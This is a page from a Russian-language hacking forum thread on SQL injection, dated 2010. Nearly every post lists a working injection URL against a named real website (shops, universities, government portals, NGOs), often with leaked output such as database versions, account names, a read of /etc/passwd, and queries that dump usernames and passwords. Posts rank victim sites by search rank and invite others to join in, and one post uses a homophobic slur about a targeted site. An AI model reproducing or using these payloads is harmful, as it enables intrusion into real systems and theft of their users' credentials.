SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    PR 5

    Code:
    http://digilib.its.ac.id/detil.php?id=-5719+UnIon+selECt+version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+--+
    5.0.51a-24+lenny2

    P.S Что-то там с оплатой связано...То ли шоп то ли оплата за отель хз в общем.
     
    1 person likes this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.flacso.org.ec/html/program.php?id_programa=-1003+union+select+1,aes_decrypt(aes_encrypt(load_file('/etc/passwd'),1),1),3,4,5,6&ID=DC_0

    File_priv = Y
    mq = Off


    PR-6
     
    _________________________
    5 people like this.
  3. bast3n

    bast3n Member

    Joined:
    5 Jul 2010
    Messages:
    11
    Likes Received:
    11
    Reputations:
    6
    PR 5
    Code:
    http://www.citizenworks.org/news/index.php?id=-112+union+select+1,2,concat_ws(0x3a,version(),user(),@@version_compile_os),4+--+
    4.0.27-log:[email protected]:pc-linux-gnu
    Code:
    http://www.citizenworks.org/news/index.php?id=-112+union+select+1,2,group_concat(user_name,0x3a,password),4+from+user--+
     
    2 people like this.
  4. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    ТИЦ 160 PR 4

    ТИЦ 190 PR 3


    PR 3

    ТИЦ 10 PR 5

    PR 4
     
    #12604 -PRIVAT-, 7 Aug 2010
    Last edited: 7 Aug 2010
    2 people like this.
  5. Koren

    Koren Member

    Joined:
    11 Jul 2009
    Messages:
    66
    Likes Received:
    20
    Reputations:
    1
    shop

    database: odys0001
     
    #12605 Koren, 7 Aug 2010
    Last edited by a moderator: 7 Aug 2010
    3 people like this.
  6. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    online shop
    Code:
    https://www.canyonsports.com/shop/search.asp?q=ID')+OR+1=(select+top+1+table_name+from+information_schema.tables)--
    MSSQL Version:
    Code:
    Microsoft SQL Server  2000 - 8.00.2055 (Intel X86) 
    Dec 16 2008 19:46:53 
    Copyright (c) 1988-2003 Microsoft Corporation
    Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
    181 баз
    Code:
    https://www.canyonsports.com/shop/search.asp?q=ID')+OR+1=(select+db_name(181)--
     
    #12606 Дирижабль, 8 Aug 2010
    Last edited: 8 Aug 2010
    2 people like this.
  7. bast3n

    bast3n Member

    Joined:
    5 Jul 2010
    Messages:
    11
    Likes Received:
    11
    Reputations:
    6
    PR 4
    Code:
    http://hydro4africa.info/news/viewnews.php?ID=-452+UNION+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,version(),user(),@@version_compile_os),10,11,12,13,14+--+
    5.1.47::renewabl_webuser@localhost::unknown-linux-gnu
    PR 2
    Code:
    http://wind4africa.info/news/viewnews.php?ID=-282+UNION+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,version(),user(),@@version_compile_os),10,11,12,13,14+--+
    5.1.47::renewabl_webuser@localhost::unknown-linux-gnu
    PR 4
    Code:
    http://biomass4africa.net/news/viewnews.php?ID=-539+UNION+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,version(),user(),@@version_compile_os),10,11,12,13,14+--+
    5.1.47::renewabl_webuser@localhost::unknown-linux-gnu
    PR 3
    Code:
    http://solar4africa.net/news/viewnews.php?ID=-533+UNION+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x3a3a,version(),user(),@@version_compile_os),10,11,12,13,14+--+
    5.1.47::renewabl_webuser@localhost::unknown-linux-gnu
    PR 4
    Code:
    http://www.bswy.us/whatNew.php?id=-34+union+select+1,2,concat_ws(0x3a3a,version(),user(),@@version_compile_os),4,5,6--+
    5.1.39-log::[email protected]::pc-linux-gnu
    PR 5
     
    #12607 bast3n, 8 Aug 2010
    Last edited by a moderator: 8 Aug 2010
    3 people like this.
  8. X-3me

    X-3me New Member

    Joined:
    27 Apr 2010
    Messages:
    6
    Likes Received:
    2
    Reputations:
    4
    http://риэл-авто.рф/viewcars.php?carid=779 and 1=2 union select 1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10 -- 1
    [email protected]:rielautorudb:4.1.22-log
     
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    http://www.tijuana.gob.mx/transparencia/VerRespuestaTransparencia.asp?f=(select+top+1+@@version%2Bdb_name()+table_name+from+information_schema.columns)

    http://www.shomershabes.com/service/eng.asp?es=122&eh=&eh2=&nh=0&nh2=0&p=Ukraine&cid=-120+union+all+select+1,cast(table_name+as+text)+from+information_schema.columns--
     
    5 people like this.
  10. bast3n

    bast3n Member

    Joined:
    5 Jul 2010
    Messages:
    11
    Likes Received:
    11
    Reputations:
    6
    PR 3
    Code:
    http://www.competitionclutch.com/products/index.php?id=-1100+UNION+SELECT+1,2,3,4,5,6,7,8,concat_ws(0x2b,version(),user(),@@version_compile_os),10,11,12+--+
    [email protected]+unknown-linux-gnu
    PR 5
    Code:
    http://www.cfijerusalem.net/index.php?id=-6.0+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x2b,version(),user(),@@version_compile_os),11+--+
    [email protected]+pc-linux-gnu
    PR 5
    Code:
    http://www.newenglandapples.org/index.php?id=-35+union+select+concat_ws(0x2b,version(),user(),@@version_compile_os)+--+
    4.1.20+appleadmin@localhost+redhat-linux-gnu
     
    2 people like this.
  11. Dare

    Dare Elder - Старейшина

    Joined:
    26 Apr 2010
    Messages:
    53
    Likes Received:
    24
    Reputations:
    17
    Code:
    http://www.nashcc.[COLOR=DarkOrange][B]edu[/B][/COLOR]/index.php?option=com_remository&Itemid=248&func=startdown&id=299+or+1+group+by+concat((SELECT+password+from+mos_users+limit+0,1),rand(0)|0)+having+avg(0)+--+
    pr 6

    Налетай Ребята!
     
    2 people like this.
  12. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    http://robgru.allhyper.com/webdesign/index.php?id=6+union+select+1,@@version_compile_os
     
  13. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    PR 1

    PR 4
    Microsoft OLE DB

    PR 7
    Microsoft VBScript

    Microsoft OLE DB

    Microsoft VBScript

    Microsoft OLE DB

    Microsoft OLE DB
    PR 3

    Microsoft OLE DB
    PR 4
     
    #12613 -PRIVAT-, 9 Aug 2010
    Last edited: 12 Aug 2010
  14. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://twitgift.ly/send-gift.php?id=-30+union+select+1,concat(id,char(58),twitterUserName),3,4,5+from+user

    http://www.aljamahiria.com/nas.php?count=32&id_pages=5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--

    http://www.ecom.org.la/news.php?col=1&id=-2837+union+select+1,2,version(),4,5,6,7
     
    _________________________
    #12614 Konqi, 9 Aug 2010
    Last edited: 9 Aug 2010
    1 person likes this.
  15. so_newbie

    so_newbie Member

    Joined:
    6 Jul 2010
    Messages:
    33
    Likes Received:
    14
    Reputations:
    9
    Code:
    http://afghanistan.ru/doc.xhtml?id=-3372+union+select+concat_ws(0x3a,username,passwd),2,3,4,5,6,7,8,9,0,1+from+enter_users--+
    
    Code:
    http://afghanistan.ru/doc.xhtml?id=-3372+union+select+concat_ws(0x3a,nick,passwd),2,3,4,5,6,7,8,9,0,1+from+f_users--+
    
    тИЦ -750
     
    1 person likes this.
  16. moodoone

    moodoone Member

    Joined:
    21 Oct 2009
    Messages:
    144
    Likes Received:
    38
    Reputations:
    5
    Code:
    http://www.disguises.com.au/look.php?ID=-39+UnIon+selECt+1,version(),3,4,5,6+--+
    PR: 3
    P.S. Вывод интересный)
     
    #12616 moodoone, 10 Aug 2010
    Last edited: 10 Aug 2010
    2 people like this.
  17. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Моя первая скуля..
    тИЦ: 20

    А вот и вторая..
    тИЦ: 80

    Ну понеслось..
    тИЦ: 20

    тИЦ: 550

    sexsex_doska1:sexsex_doska@localhost:5.1.48
    тИЦ: 20
     
    #12617 stepashka_, 10 Aug 2010
    Last edited: 11 Aug 2010
    9 people like this.
  18. Мор0к

    Мор0к Member

    Joined:
    4 Aug 2010
    Messages:
    7
    Likes Received:
    7
    Reputations:
    1
    Проклятые фрики

    Гомосексуалисты.

    http://www.get-it-gay.at/update/detail.php?nr=-1+union+select+concat_ws(0x3a3a,adv_uname,adv_pass),2,3,4+from+getitgay_mod__user+limit+0,1--&rubric=Update&
     
    #12618 Мор0к, 11 Aug 2010
    Last edited by a moderator: 11 Aug 2010
    2 people like this.
  19. bast3n

    bast3n Member

    Joined:
    5 Jul 2010
    Messages:
    11
    Likes Received:
    11
    Reputations:
    6
    PR 2
    Code:
    http://www.go4get.com/add_go4board.php?id=-808+union+select+1,concat_ws(0x2b,version(),user(),@@version_compile_os),3,4,5,6,7,8,9,10+--+
    5.0.22-log+niaawgo123_niaaw@localhost+unknown-freebsd6.0
    PR 5
    Massachusetts Institute of Technology
    Code:
    http://burgaz.mit.[COLOR=DarkOrange]edu[/COLOR]/getpaper.php?id=-273+union+select+concat_ws(0x2b,version(),user(),@@version_compile_os),2,3--+
    File /var/www/PUBLICATIONS/[email protected]+debian-linux-gnu not found or inaccessible!
     
    #12619 bast3n, 11 Aug 2010
    Last edited: 11 Aug 2010
    2 people like this.
  20. CodeSender:)

    CodeSender:) Elder - Старейшина

    Joined:
    29 Jul 2010
    Messages:
    245
    Likes Received:
    115
    Reputations:
    23
    liblive:liblive@localhost:5.0.45-community-nt
     
    1 person likes this.
Thread Status:
Not open for further replies.